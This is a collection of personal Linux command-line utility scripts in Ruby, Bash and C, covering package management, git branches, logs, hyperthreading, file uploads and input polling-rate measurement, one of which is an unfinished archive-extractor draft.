(application name). # For information about cache directory tags, see: # http://www.brynosaurus.com/cachedir/ } dirs = if ARGV.any? ARGV.map{|arg| File.expand_path arg} else [Dir.pwd] end puts "* Writing cache files..." for dir in dirs cachefile = File.join dir, "CACHEDIR.TAG" puts " |_ #{cachefile}" open(cachefile, "wb"){|f| f.write(CACHETAG)} end <file_sep>#!/usr/bin/ruby require "rexml/document" doc = REXML::Document.new($<) formatter = REXML::Formatters::Pretty.new formatter.compact = true # use as little whitespace as possible formatter.write(doc, $stdout) $stdout.puts <file_sep>#!/usr/bin/env ruby require 'epitools' require 'slop' original_ARGV = ARGV.dup opts = Slop.parse :help => true do banner %{Usage: apt-hold [options] <package(s)> Puts packages on "hold", so they won't be automatically upgraded by apt-get. Example: apt-hold google-chrome-stable} on :l, :list, "List specified packages (or ALL packages if none specified)" on :u, :unhold, "Unhold the package" end args = ARGV # sudoifnotroot unless Process.uid == 0 system("sudo", __FILE__, *original_ARGV) exit end def selections @selections ||= IO.popen("dpkg --get-selections") do |r| Hash[ r.lines.map {|l| l.strip.split } ] end end def selections_for(packages) s = selections packages.map { |arg| [ arg, s[arg] ] if s[arg] }.compact end def holds selections.select{|pkg,state| state == "hold"} end STATE_INFO = { "hold" => ["Hold", :light_green], "install" => ["None", :grey] } def set_selections(packages, state) input = packages.map { |pkg| "#{pkg} #{state}" }.join("\n") puts input IO.popen("dpkg --set-selections", "w") do |dpkg| dpkg.puts input end end def print_packages(packages) #selections_for(args.flatten).each do |package, state| packages.each do |package, state| desc, color = STATE_INFO[state] col1_width = packages.map{|k,v| k.size}.max + 2 puts "#{package.ljust(col1_width).light_yellow} => #{desc.send(color)}" end end if opts.list? if args.any? print_packages selections_for(args) else print_packages holds end elsif args.empty? puts "<8>(<9>Note: Type <11>--help</11> for directions.<8>)".colorize puts print_packages holds elsif opts.unhold? set_selections( args, "install" ) else set_selections( args, "hold" ) end <file_sep>#!/bin/bash if [ "$1" == "--help" ]; then echo "journal-cleanup trims the systemd journal to the desired size" echo echo "usage: journal-cleanup [<size, default: 500M>]" echo exit 1 fi if [ "$1" == "" ]; then SIZE=500M else SIZE=$1 fi journalctl --vacuum-size=$SIZE <file_sep>#!/usr/bin/env ruby # encoding: BINARY ###################################################################### # count v0.00.0.00.0000.00.0 :: by <NAME> (<EMAIL>) ###################################################################### # # This program is for recursively counting the number of lines in a # directory of files. It displays the number of lines in each file # (under the "lines" column) and the number of non-blank lines # ("actual"). It takes one parameter: the directory to analyze. # Note that it doesn't ignore binary files -- it's very stupid. ###################################################################### TEXT_GLOB = "*{,.rhtml,.htm,.html,.xml,.xsd,.rake,.rb,.tjs,.rjs,.php,.inc,.py,.pyx,.txt,.c,.cpp,.h,.hpp,.sh,.awk,.pl,.sql}" # Set the "search_dir" and "glob" variables (note: glob will contain the search_dir) if ARGV.any? # user supplied some parameters args = ARGV.join(' ') if File.directory? args # user supplied a directory on the commandline search_dir = args glob = "#{search_dir}/**/*" else # user supplied a directory and a mask search_dir, filenames = File.split(args) glob = "#{search_dir}/**/#{filenames}" end else # user didn't supply any parameters search_dir = nil glob = "**/#{TEXT_GLOB}" #glob = "**/*" end # Display user message puts "Analyzing files in #{search_dir ? search_dir.inspect : 'current directory'}..." puts "------------------------------------------------------------------------" puts puts "lines actual filename" puts "----- ------ --------" # Analyze each file total_lines = 0 total_non_empty_lines = 0 start = Time.now total_lines = 0 Dir[glob].each do |path| begin unless path =~ %r{/(CVS|.svn)(/|^)} or File.directory?(path) count = 0 nonempty = 0 open(path, "rb").lines.each do |line| count += 1 nonempty += 1 unless line.strip.empty? end total_lines += count total_non_empty_lines += nonempty # display stats puts "%5d / %5d #{path}" % [count, nonempty] end rescue Errno::ENOENT puts " *ERRORN* #{path}" end end elapsed = Time.now - start puts "-------------------------------------------------------------------------------------" puts "Total: #{total_lines} lines, #{total_non_empty_lines} non-empty lines, #{ (total_lines/elapsed).round } lines/sec" <file_sep>#!/bin/bash echo "* Removing Wine file associations and mimetypes and whatnot..." echo rm -vf ~/.local/share/mime/packages/x-wine* rm -vf ~/.local/share/applications/wine-extension* rm -vf ~/.local/share/icons/hicolor/*/*/application-x-wine-extension* rm -vf ~/.local/share/mime/application/x-wine-extension* echo echo "* Done!" echo<file_sep>#!/usr/bin/env ruby require 'rubygems' require 'epitools' require 'json' def parse_readme sections = {} for chunk in File.read("README.txt").lines.split_before(/=\[/) if chunk.first =~ /=\[ (.+) \]=/ section = $1 end script_pairs = \ chunk. grep(/\|/). map{|l| [$1,$2] if l =~ /(\S+)\s*\|\s*(.+)/}. flatten sections[section] = Hash[*script_pairs] end open("descs.json","wb"){|f| f.write sections.to_json } end def find_missing sects = JSON.load open("descs.json") described_scripts = sects.values.map(&:keys).flatten.sort all_scripts = Dir["**/*"].select{|fn| File.file? fn }.sort missing = all_scripts - described_scripts sects["Undescribed"] = Hash[*missing.map{|m| [m,'']}.flatten] pp sects end find_missing <file_sep>#include <string.h> #include <stdio.h> #include <linux/input.h> #include <fcntl.h> #include <signal.h> #include <getopt.h> #include <unistd.h> #define EVENTS 50 #define HZ_LIST 64 typedef struct event_s { int fd; int hz[HZ_LIST]; int count; int avghz; double prvtime; char name[128]; } event_t; int quit = 0; void sigint() { quit = 1; } int main(int argc, char *argv[]) { int optch; int i; event_t events[EVENTS]; int verbose = 1; while((optch = getopt(argc, argv, "hn")) != -1) { switch(optch) { case('h'): printf("Usage: %s [-n|-h]\n", argv[0]); printf("-n nonverbose\n"); printf("-h help\n"); return 0; break; case('n'): verbose = 0; break; } } if(geteuid() != 0) { printf("%s must be used as superuser\n", argv[0]); return 1; } signal(SIGINT, sigint); printf("Press CTRL-C to exit.\n\n"); memset(events, 0, sizeof(events)); // List input devices for(i = 0; i < EVENTS; i++) { char device[19]; sprintf(device, "/dev/input/event%i", i); events[i].fd = open(device, O_RDONLY); if(events[i].fd != -1) { ioctl(events[i].fd, EVIOCGNAME(sizeof(events[i].name)), events[i].name); if(verbose) printf("event%i: %s\n", i, events[i].name); } } while(!quit) { fd_set set; FD_ZERO(&set); for(i = 0; i < EVENTS; i++) { if(events[i].fd != -1) { FD_SET(events[i].fd, &set); } } if(select(FD_SETSIZE, &set, NULL, NULL, NULL) > 0) { int bytes; struct input_event event; for(i = 0; i < EVENTS; i++) { if(events[i].fd == -1 || !FD_ISSET(events[i].fd, &set)) { continue; } bytes = read(events[i].fd, &event, sizeof(event)); if(bytes != sizeof(event)) { continue; } if(event.type == EV_REL || event.type == EV_ABS) { double time; int hz; time = event.time.tv_sec * 1000 + event.time.tv_usec / 1000; hz = 1000 / (time - events[i].prvtime); if(hz > 0) { int j; events[i].count++; events[i].hz[events[i].count & (HZ_LIST - 1)] = hz; events[i].avghz = 0; for(j = 0; j < HZ_LIST; j++) { events[i].avghz += events[i].hz[j]; } events[i].avghz /= (events[i].count > HZ_LIST) ? HZ_LIST : events[i].count; if(verbose) printf("%s: Latest % 5iHz, Average % 5iHz\n", events[i].name, hz, events[i].avghz); } events[i].prvtime = time; } } } } for(i = 0; i < EVENTS; i++) { if(events[i].fd != -1) { if (events[i].avghz != 0) { printf("\nAverage for %s: % 5iHz\n", events[i].name, events[i].avghz); } close(events[i].fd); } } return 0; } <file_sep>#!/usr/bin/env ruby ################################################################################### TERMINALS = %w[terminal xfce4-terminal] ################################################################################### def help puts "usage: term [options] <command>" puts puts "options:" puts " -H Hold (keep the terminal open) after running <command>" puts " --geometry=WxH Set terminal size to W (width) by H (height)" end def which(bin) ENV["PATH"].split(":").each do |path| fullpath = File.join(path, bin) return fullpath if File.exists? fullpath end nil end ################################################################################### args = ARGV # Need some help? if args.include?("--help") or args.include?("-h") help exit 1 end # Find a terminal to use cmd = [ TERMINALS.find { |term| which(term) } ] if args.first and args.first[/^--geometry=.+/] cmd << args.shift else cmd << "--geometry=90x42" end # Hold terminal after command is finished cmd << args.shift if args.first == "-H" if args.any? # Run a command require 'shellwords' cmd << "--command=#{Shellwords.shelljoin args}" end # Launch the terminal exec *cmd <file_sep>#!/usr/bin/env ruby class String def url? match %r{^https?://.+} end end opts, args = ARGV.partition { |arg| arg[/^--?\w/] } if opts.include?("-h") or opts.include?("--help") puts "usage:" puts " ttm [option] <file(s) or url(s), or nothing to read from STDIN>" puts puts "options:" puts " -s shorten all urls (must supply only urls)" exit 1 end args << "-" if args.empty? args.each do |arg| if opts.include?("-s") if not arg.url? then raise "error: can't shorten a file." end puts "* Shortening: #{arg}" form = "shorten=#{arg}" else if arg.url? puts "* Mirroring: #{arg}" form = "url=#{arg}" elsif arg == "-" puts "* Uploading from STDIN:" form = "file=@-" else size = (File.size(arg).to_f / 1024).round(2) puts "* Uploading: #{arg} (#{size} kbytes)" form = "file=@#{arg}" end end cmd = [ "curl", "--compressed", "--progress-bar", "-F#{form}", "https://ttm.sh" ] puts IO.popen(cmd, &:read) puts end <file_sep>#!/usr/bin/env ruby ########################################################################### gem 'slop', "~> 3.6" require 'slop' require 'epitools' require 'date' ########################################################################### Colored.force! ########################################################################### class Event < Struct.new(:datestr, :date, :cmd, :name, :v1, :v2) # [2015-01-04 04:21] [PACMAN] installed lib32-libidn (1.29-1) # [2015-01-04 04:21] [PACMAN] upgraded lib32-curl (7.38.0-1 -> 7.39.0-1) # [2015-01-07 04:39] [ALPM] upgraded intel-tbb (4.3_20141023-1 -> 4.3_20141204-1) # [2015-01-07 04:39] [ALPM] upgraded iso-codes (3.54-1 -> 3.57-1) # [2019-11-25T10:40:54-0500] [ALPM] upgraded ungoogled-chromium (78.0.3904.97-2 -> 78.0.3904.108-1) DATE_RE = /[\d:-]+/ # LINE_RE = /^\[(#{DATE_RE}[T ]#{DATE_RE}(?:[\+-]\d+)?)\](?: \[(?:PACMAN|ALPM)\])? (removed|installed|upgraded) (.+) \((.+)(?: -> (.+))?\)$/ LINE_RE = /^\[([^\]]+)\](?: \[(?:PACMAN|ALPM)\])? (removed|installed|upgraded) (.+) \((.+)(?: -> (.+))?\)$/ CMD_COLORS = { 'removed' => :light_red, 'installed' => :light_yellow, 'upgraded' => :light_green, nil => :white, } def self.from_line(line) if line =~ LINE_RE # DateTime.strptime(date, "%Y-%m-%d %H:%M") new($1, DateTime.parse($1), $2, $3, $4, $5) else nil end end def cmd_color CMD_COLORS[cmd] end def to_s # date, time = datestr.split timestamp = date.strftime("%Y-%m-%d %l:%M %p") "<grey>[<white>#{timestamp}<grey>] <#{cmd_color}>#{cmd} <light_cyan>#{name} #{"<light_white>#{v2} " if v2}<white>(#{v1})".colorize end end ########################################################################### def log_events(log_glob, direction=:forward) return to_enum(:log_events, log_glob, direction) unless block_given? logs = Path[log_glob].sort_by(&:mtime) logs.each do |log| open(log, 'r') do |io| lines = (direction == :reverse) ? io.reverse_each : io.each lines.each do |line| if e = Event.from_line(line.strip) yield e end end end end end ########################################################################### def parse_options opts = Slop.parse(help: true, strict: true) do banner "Usage: paclog [options]" on 'r=', 'root', 'Root of arch filesystem', default: "/" on 'l=', 'logfile', 'Which logfile(s) to use', default: "/var/log/pacman.log*" # on 'u=', 'use', 'Tool to use (ffmpeg, mencoder)', default: "ffmpeg" end [opts, ARGV] end ########################################################################### opts, args = parse_options query = /#{args.join ".+"}/ if args.any? lesspipe(tail: true) do |less| # lesspipe do |less| log_glob = "#{opts[:root]}/#{opts[:logfile]}" groups = log_events(log_glob).split_between { |a,b| b.date.to_i - a.date.to_i > 60 } groups.each do |group| first, last = group.first.date, group.last.date elapsed = (last.to_i - first.to_i) / 60 empty_group = true group.each do |ev| if query next unless ev.name =~ query ev.name.gsub!(query) { |m| m.light_yellow.on_blue } end # Print the header only if the query matched something in this group if empty_group empty_group = false less.puts less.puts "<8>== <11>#{first.strftime("<10>%Y-%m-%d <7>at <2>%l:%M %p")} <7>(<9>#{elapsed} <7>minute session) <8>========".colorize end less.puts ev end end end <file_sep>#!/usr/bin/env ruby require 'io/console' print "\e[?9h" STDIN.raw do |io| loop do c = io.read 1 if (28..127).include? c.ord print c else print c.inspect.gsub(/(^"|"$)/, '') end break if c == ?\C-c end end print "\e[?9l" <file_sep>#!/bin/bash if [ -f /usr/bin/subl ]; then CMD=/usr/bin/subl else CMD=~/opt/sublime/sublime_text fi if wmls -c -q sublime_text; then $CMD "$@" 2>&1 > /dev/null & else $CMD -n "$@" 2>&1 > /dev/null & fi <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## class CPU ROOT = Path["/sys/devices/system/cpu"] attr_reader :num def initialize(num); @num = num; end # Instance methods def [](str) val = (path/str).read.strip case val when /^\d+$/ val.to_i when /^\d+\.\d+$/ val.to_f else val end end def []=(str, value); (path/str).write(value); end def path; ROOT/"cpu#{num}"; end def freq; self["cpufreq/scaling_cur_freq"]; end def online?; num == 0 or self["online"] == 1; end def offline?; not online?; end def online!; num == 0 or self["online"] = 1; end def offline! raise "Can't shut off CPU0" if num == 0 self["online"] = 0 end # Class methods def self.all @all ||= (ROOT/"cpu*").map do |path| if path.dirs.last =~ /^cpu(\d+)$/ new($1.to_i) end end.compact.sort_by(&:num) end def self.offline; all.select &:offline?; end def self.enable_hyperthreading! puts "Enabling hyperthreading..." all.each &:online! end def self.disable_hyperthreading! enable_hyperthreading! if offline.any? puts "Disabling hyperthreading..." all.each_slice(2) { |core, thread| thread.offline! } end def self.toggle_hyperthreading! if offline.any? enable_hyperthreading! else disable_hyperthreading! end end def self.print_status all.each do |cpu| print "CPU#{cpu.num}: o#{cpu.online? ? "n" : "ff"}line" print " (#{cpu.freq.commatize} hz)" if cpu.online? puts end end end ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: hyperthreading [options]" on "d", "disable", "Disable hyperthreading" on "e", "enable", "Enable hyperthreading" on "t", "toggle", "Toggle hyperthreading" # on "n", "notify", "Use notify-send to report status" end args = ARGV ######################################################## if opts.enable? CPU.enable_hyperthreading! elsif opts.disable? CPU.disable_hyperthreading! elsif opts.toggle? CPU.toggle_hyperthreading! end CPU.print_status <file_sep>#!/bin/bash DEST=/etc/pacman.d/mirrorlist-ranked echo "Benchmarking top 200 pacman mirrors, and writing to $DEST..." if touch $DEST; then reflector --verbose -l 200 -p http --sort rate --save "$DEST" else echo "Error: can't write to file." fi <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: spotify-info [options] <spotify url(s)>" # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end args = ARGV # args << "https://open.spotify.com/track/0cCYkGYSndtiSYnBUkJ2iU?si=YS-wwAJlRWmzpox7FncQnQ" if args.empty? ######################################################## def parse_json(json) case json["type"] when "track" { title: json["name"], artist: json["artists"].map { |i| i["name"] }.join(", "), album: json["album"]["name"], thumbnail: json["album"]["images"].sort_by { |i| i["height"] }.last["url"], length: json["duration_ms"].to_i / 1000.0, preview_url: json["preview_url"], } when "album" { } end end args.each do |arg| html = cached_curl(arg) page = Oga.parse_html(html) #js = page.css("script").find { |e| e.text["Spotify.Entity"] }.text json = page.at_css("script[type='application/ld+json']").inner_text.from_json =begin {"@context"=>"http://schema.googleapis.com/", "@type"=>"MusicRecording", "@id"=>"https://open.spotify.com/track/1qIi47n0nsdGRfrTe0y57y", "url"=>"https://open.spotify.com/track/1qIi47n0nsdGRfrTe0y57y", "name"=>"My Agenda (feat. Village People & Pussy Riot) [Anamanaguchi Remix]", "description"=> "Listen to My Agenda (feat. Village People & Pussy Riot) [Anamanaguchi Remix] on Spotify. <NAME> · Song · 2021.", "datePublished"=>"2021-11-05", =end json.delete("potentialAction") json.delete("@id") json.delete("@context") pp json json = page.css("script[type='application/json']").map{|s| s.inner_text.from_json }.find { |e| e.is_a?(Hash) and e["entities"] } =begin {"spotify:track:1qIi47n0nsdGRfrTe0y57y"=> {"id"=>"1qIi47n0nsdGRfrTe0y57y", "name"=>"My Agenda (feat. Village People &amp; Pussy Riot) [Anamanaguchi Remix]", "uri"=>"spotify:track:1qIi47n0nsdGRfrTe0y57y", "__typename"=>"Track", "album"=> {"name"=>"My Agenda (Deluxe)", "coverArt"=> {"sources"=> [{"url"=>"https://i.scdn.co/image/ab67616d0000b27307adcf3680f1962bde42dc3b", "width"=>640, "height"=>640}, {"url"=>"https://i.scdn.co/image/ab67616d00001e0207adcf3680f1962bde42dc3b", "width"=>300, "height"=>300}, {"url"=>"https://i.scdn.co/image/ab67616d0000485107adcf3680f1962bde42dc3b", "width"=>64, "height"=>64}]}, "copyright"=>{"items"=>[{"type"=>"C", "text"=>"2021 Dorian Electra"}, {"type"=>"P", "text"=>"2021 Dorian Electra"}]}, "date"=>{"year"=>2021}, "uri"=>"spotify:album:1G5F0OJpuuVZ8g3zw3BMEQ"}, "artists"=> {"items"=> [{"id"=>"202HZzqKvPsMHcbwnDZx7u", "uri"=>"spotify:artist:202HZzqKvPsMHcbwnDZx7u", "profile"=>{"name"=>"<NAME>"}, "visuals"=> {"avatarImage"=> {"sources"=> [{"url"=>"https://i.scdn.co/image/ab6761610000e5eb60857c01dc846983c3aa7d18", "width"=>640, "height"=>640}, {"url"=>"https://i.scdn.co/image/ab6761610000f17860857c01dc846983c3aa7d18", "width"=>160, "height"=>160}]}}, =end items = json.dig("entities", "items") items.each { |k,v| pp v } end # require 'pry'; binding.pry <file_sep>#!/usr/bin/env ruby require 'epitools' payload = ARGV.join(" ") %w[clipboard primary].each do |type| IO.popen(["xclip", "-selection", type], "w") do |io| io.print(payload) end end notify_send("Pasted to clipboards:", payload) <file_sep>#!/bin/bash if which mp3val; then mp3val -f "$@" else wine ~/scripts/win32/mp3val.exe "$@" -f fi <file_sep>#!/usr/bin/env ruby # #---------------------------------------------- # TODOS: #---------------------------------------------- # * Print "status" beside each branch (last commit date, truncated hash, truncated description) # * Only show recently active (within 7 days) branches by default (optional: -a to show all branches) # * Two-column view: # - Left: Local branches, Right: remote branches # - Line up matching branches, order by commit date # * Integrate git-branches functionality # * auto-stash uncommitted changes when switching branches, and auto-unstash when switching back # * rename branch also renames remote # * -D deletes local and remote branches # * show "remote" before "local" # * use slop # * create remote branch (based on current?) # * prompt for confirmation when doing dangerous things # (or things that could be mistakes -- eg: creating a branch) # * eat ugly git messages and make them colourized and pretty ################################################################################# require 'epitools' ################################################################################# class Branches attr_accessor :local, :remote, :current def initialize @local = [] @remote = [] @current = nil end def local?(branch); local.include? branch; end def remote?(branch); remote.include? "origin/#{branch}"; end def remote_for(branch); remote.find {|e| e == "origin/#{branch}" }; end def current?(branch); current == branch; end def print puts [ [:remote, :green], [:local, :yellow] ].each do |type, color| puts "<grey>== <light_white>#{type} branches: <grey>=============".colorize for branch in send(type) selected = (branch == current && type == :local) if selected puts " #{branch} <===".bright_yellow else puts " #{branch}".send(color) end end puts end end end ################################################################################# def git_repo? path = Path.pwd loop do return true if (path/".git").dir? break unless path.dirs.pop end false end def ensure_git_repo unless git_repo? puts "Error: must be in a git repo." exit 1 end end def get_branches ensure_git_repo branches = Branches.new `git branch -a`.lines.map(&:strip).each do |line| if line =~ %r{^\* (.+)$} line = $1 branches.current = line end case line when /->/ # ignore aliases when %r{^remotes/(.+)$} branches.remote << $1 else branches.local << line end end branches end ################################################################################# ## Main args = ARGV if args.empty? # Do nothing! elsif args.first.in? ["--help", "-h"] puts %{usage: gb <branch name> eg: gb existingbranch => switch to existing branch gb newbranch => create a new branch gb origin/remotebranch => create/checkout/track remote branch gb -p [<remote>] => push current branch to remote (default: origin) gb -d branch => delete local branch gb -d origin/branch => delete remote branch gb -t [<remote>[/<branch>]] => track current branch on origin/<branchname> (or <remote>/<branchname>) gb -r <new_name> => rename current branch to <new_name> gb -r <src> <dest> => rename <src> branch to <dest> } exit elsif args.first.downcase == "-r" ## Rename args.shift branches = get_branches case args.size when 1 src = branches.current dest = args.first when 2 src, dest = args end if branches.local? src puts "<grey>* <light_cyan>Renaming <light_yellow>#{src} <light_cyan>to <light_yellow>#{dest}".colorize # git branch -m old_branch new_branch # Rename branch locally if system "git branch -m #{src} #{dest}" puts "Success!" # git push origin :old_branch # Delete the old branch # git push --set-upstream origin new_branch # Push the new branch, set local branch to track the new remote end end elsif args.first.downcase == "-d" ## Delete args.shift branches = get_branches branch = args.shift if branches.local? branch puts "<grey>* <light_cyan>Deleting <light_yellow>#{branch}".colorize system("git branch -D #{branch}") elsif branches.remote? branch if prompt("You sure you wanna delete a remote branch???".light_red, 'yN') == "y" puts puts "Okay!" puts remote, branch = branch.split("/") puts "<grey>* <light_cyan>Deleting <light_yellow>#{branch} <light_cyan>from <light_green>#{remote}".colorize system("git push #{remote} :#{branch}") else puts "Whew!".light_white end else puts "Unknown branch: #{branch}" end exit elsif args.first.downcase == "-p" ## Push args.shift remote = args.shift || "origin" current = get_branches.current # Track if not already tracked system "git push #{remote} #{current}" args = ["-t"] elsif args.first.downcase == "-t" ## Track args.shift branches = get_branches current = branches.current remote = args.shift || "origin/#{current}" # unless remote["/"] # remote = "#{remote}/#{current}" # end # FIXME: Create remote branch (or "git push origin master" ) if branch doesn't exist # $ gb -t # * master tracking origin/master # fatal: branch 'origin/master' does not exist puts "<grey>* <light_yellow>#{current} <white>tracking <light_green>#{remote}".colorize system("git branch --set-upstream-to #{remote} #{current}") else ## Branch branches = get_branches branch = args.first.downcase if branches.local? branch puts "<grey>* <light_white>Switching to <light_yellow>#{branch}".colorize system("git checkout #{branch}") elsif remote_branch = branches.remote_for(branch) puts "<grey>* <light_white>Tracking <light_yellow>#{branch}".colorize system("git checkout -b #{branch} --track origin/#{branch}") else puts "* Creating new branch #{branch}" system("git branch #{branch}") system("git checkout #{branch}") end end get_branches.print <file_sep>#!/bin/bash mkdir -p .pki/nssdb certutil -N -d sql:.pki/nssdb <file_sep>#!/usr/bin/env ruby require 'haml' require 'html2haml/html' args = ARGV if args.empty? puts "usage: tohaml <html files...>" puts puts "It will write out files with the same name, but a .haml extension." puts "It will overwrite existing .haml files." exit 1 end args.each do |infile| unless File.exists? infile puts "* #{infile} not found. Skipping." next end outfile = File.basename(infile, File.extname(infile)) + ".haml" puts "* #{infile} => #{outfile}" File.write(outfile, Html2haml::HTML.new(open(infile)).render) end <file_sep>#!/usr/bin/env ruby # sudoifnotroot, ruby style. unless Process.uid == 0 system("sudo", __FILE__, *ARGV) exit end require 'epitools' class Package < TypedStruct["name ver rev arch path size mtime"] def initialize(path) raise path if path.nil? # Package filename examples: # xdg-utils-1.1.0-2.20120520-any.pkg.tar.xz # cuda-5.0.35-4-x86_64.pkg.tar.xz # lib32-fontconfig-2.10.95-1.1-x86_64.pkg.tar.xz if path.filename =~ %r{^(.+)-([^-]+)-([\d\.]+)-([\w_]+)\.pkg\.tar\.(?:\w+)(?:\.part)?$} super($1, $2, $3, $4, path, path.size, path.mtime) else raise "Can't parse: #{path}" end end def version "#{ver}-#{rev}" end end def installed_package_names require 'set' Set.new `pacman -Q`.each_line.map { |line| line.split.first } end num_to_keep = (ARGV.first || "2").to_i installed = installed_package_names Path.cd("/var/cache/pacman/pkg") do pkgs = Path["*.{xz,zst,gz}"].map {|path| Package.new(path) } grouped = pkgs.group_by(&:name) all_removals = [] grouped.sort.each do |name, pkgs| versions = pkgs.sort_by { |pkg| pkg.mtime }.reverse if installed.include? name to_keep = versions[0...num_to_keep] to_remove = versions[num_to_keep..-1] || [] output = "+ <11>#{name}: " else to_keep = [] to_remove = versions output = "+ <8>#{name}: " end all_removals += to_remove version_str = [] version_str += to_keep.map { |pkg| "<10>#{pkg.version}" } version_str += to_remove.map { |pkg| "<12>#{pkg.version}" } output += version_str.join("<8>, ") puts output.colorize end all_removals += Path["*.part"].map {|path| Package.new(path) } if all_removals.empty? puts puts "Nothing to cleanup!" puts exit end puts puts "Keeping #{num_to_keep} cop(y/ies) of each package..." puts total_size = all_removals.map(&:size).sum if prompt("Remove #{all_removals.size} old packages (#{total_size.commatize} bytes)?", "yN") == "y" puts "Deleting..." all_removals.each {|pkg| pkg.path.rm } else puts "Terminating..." end end <file_sep>#!/usr/bin/env ruby require 'epitools' require 'slop' __version__ = '0.1' class Extractor end class Zip end # file or url? # url: # find filename/type # * name in url? # Whee! # * otherwise magic! # file: # * determine type # # get extractor # extracts streams? # * extract it! # otherwise # # # archive "zip", :aka=>%w[pk3 jar], :mime=>"" class Archive def type_of_stream(start_of_archive) MimeMagic.by_magic StringIO.new(start_of_archive) end end Archive.define_types # Two kinds of type definitions: # declarative (define binary and commands) # * identifies mime type # * tries to find program to extract # * install package if missing # * creates destination directory # * # custom block (have access to the internal api and extract it with a custom algorithm) type 'application/x-gzip' do |archive| streamable_handle = archive.io identify = streamable_handle.read(500) extract_file "gunzip -c %archive > %dest" extract_pipe "gunzip -c - > %dest" streamable! pipeable! package_deps :all=>"gzip" end type 'application/x-compressed-tar' do exts %w[tar.gz tgz taz] desc "Tar archive (gzip-compressed)" command "tar", "zxvf" command "tar zxvf %archive %dest" streamable! end type 'application/x-arj' do exts %w(arj) desc "ARJ archive" package_deps :debian=>"p7zip-full" command "7z x %archive %dest" end end 'application/x-arj' => [%w(arj), %w(), "ARJ archive"], 'application/x-bzip' => [%w(bz2 bz), %w(), "Bzip archive"], 'application/x-compressed-tar' => [%w(tar.gz tgz taz), %w(), "Tar archive (gzip-compressed)"], 'application/x-rar' => [%w(rar), %w(), "RAR archive"], 'application/x-rpm' => [%w(rpm), %w(), "RPM package"], 'application/x-deb' => [%w(deb), %w(), "Debian package"], { :zip => { :exts => ['.zip', '.pk3', '.jar'], :desc => "ZIP file", :binary => "unzip", :package => "unzip", } } __DATA__ Example usage: $ x <archive/url> => extract archive to <archive basename>/ $ x <archive/url> <dest> => extract archive to <dest>/ - if <dest> is a dir, extracts to <dest>/<archive basename> - if <dest> isn't a dir yet, <dest> is created and the archive contents go into <dest>/ $ x l <archive/url> => list archive $ x c <archive> <src> [<src>, ...] => create <archive> from one or more <src> def usage puts 'This program takes a compressed file from an url or a filename, figures out' puts 'what type of file it is, then tries to extract it into a directory.' puts exts = [] for extractor in extractors: exts.extend(extractor.exts) puts 'Supported filetypes:\n %s' % ', '.join(exts) puts puts 'Usage:' puts ' x <input file or url> [output directory]' puts puts 'The [output directory] is optional. By default, the current directory is used.' puts end <file_sep>#!/usr/bin/env ruby require 'rubygems' require 'epitools' lesspipe(:wrap=>true) do |less| IO.popen("apt-cache show #{ARGV * ' '}", "rb") do |apt| separator = ("#"*50).light_cyan chunks = apt.read.split("\n\n")#.map {|chunk| chunk.lines.split_after(/^\S+:/) } packages = chunks.map{|chunk| chunk.scan(/^([^\s:]+): ([^\n]+(?:\n [^\n]+)*)/m)}.map{|chunk| Hash[chunk]} for info in packages ## title and version ver = info["Version"].scan(/^([\d\.]+)(.*)$/).first less.puts less.puts "<8># <14>#{info["Package"]} <15>#{ver.first}<7>#{ver.last} <3>(#{info["Priority"]}) <8>#################################################".colorize less.puts " <11>size: <15>#{info["Installed-Size"].to_i.commatize}<7>k <8>(<7>#{(info["Size"].to_i / 1024).commatize}k compressed<8>)".colorize ## description desc = info[ info.keys.find{|k| k[/^Description/]} ] # find first key that starts with Description desc = desc.split("\n") less.puts less.puts " <15>#{desc.first}".colorize desc[1..-1].each { |line| less.puts " #{line}" } less.puts ## dependencies if deps = info["Depends"] # example: Depends: libc6 (>= 2.7), libsensors4 (>= 1:3.0.0), debconf (>= 0.5) | debconf-2.0, ucf (>= 2.003), lsb-base (>= 3.0-6), bzip2 deps = deps.split(", ") deps = deps.map do |unsplit| unsplit.split(" | ").map do |dep| if dep =~ /([^\s,]+)(?: \(([^\)]+)\))?/ name, ver = $1, $2 result = "<7>#{name}" result += "<8>(<9>#{ver}<8>)" if ver end result end.compact.join(" <8>| ").colorize end if deps.any? less.puts " <11>depends:".colorize table = Term::Table.new(deps, :strip_color=>true, :indent=>4) less.puts table.by_columns end less.puts end end end end =begin Package: firefox Priority: optional Section: web Installed-Size: 29968 Maintainer: <NAME> <<EMAIL>> Architecture: i386 Version: 3.6.18+build2+nobinonly-0ubuntu0.10.10.2 Provides: iceweasel, www-browser Depends: fontconfig, psmisc, lsb-release, debianutils (>= 1.16), libasound2 (>> 1.0.22), libatk1.0-0 (>= 1.29.3), libc6 (>= 2.11), libcairo2 (>= 1.2.4), libdbus-1-3 (>= 1.0.2), libdbus-glib-1-2 (>= 0.78), libfontconfig1 (>= 2.8.0), libfreetype6 (>= 2.3.5), libgcc1 (>= 1:4.1.1), libgdk-pixbuf2.0-0 (>= 2.21.6), libglib2.0-0 (>= 2.24.0), libgtk2.0-0 (>= 2.18.0), libnspr4-0d (>= 4.8.6-0ubuntu1~), libnss3-1d (>= 3.12.6), libpango1.0-0 (>= 1.14.0), libpng12-0 (>= 1.2.13-4), libstartup-notification0 (>= 0.10), libstdc++6 (>= 4.1.1), libx11-6, libxext6, libxrender1, libxt6, zlib1g (>= 1:1.1.4), firefox-branding | abrowser-branding Depends: libc6 (>= 2.7), libsensors4 (>= 1:3.0.0), debconf (>= 0.5) | debconf-2.0, ucf (>= 2.003), lsb-base (>= 3.0-6), bzip2 Recommends: ubufox Suggests: firefox-gnome-support (= 3.6.18+build2+nobinonly-0ubuntu0.10.10.2), firefox-kde-support, ttf-lyx, libthai0 Filename: pool/main/f/firefox/firefox_3.6.18+build2+nobinonly-0ubuntu0.10.10.2_i386.deb Size: 11381258 MD5sum: 77d3eef51d61241acd802496cccaf5df SHA1: ee37c42846363c17b2cc276e9f7bd2ba742a857a SHA256: b51c15a9fc888d2f0a87ca1d5f10a45a04a7d47150748c45337aa22cada6e597 Description: safe and easy web browser from Mozilla Firefox delivers safe, easy web browsing. A familiar user interface, enhanced security features including protection from online identity theft, and integrated search let you get the most out of the web. Xul-Appid: 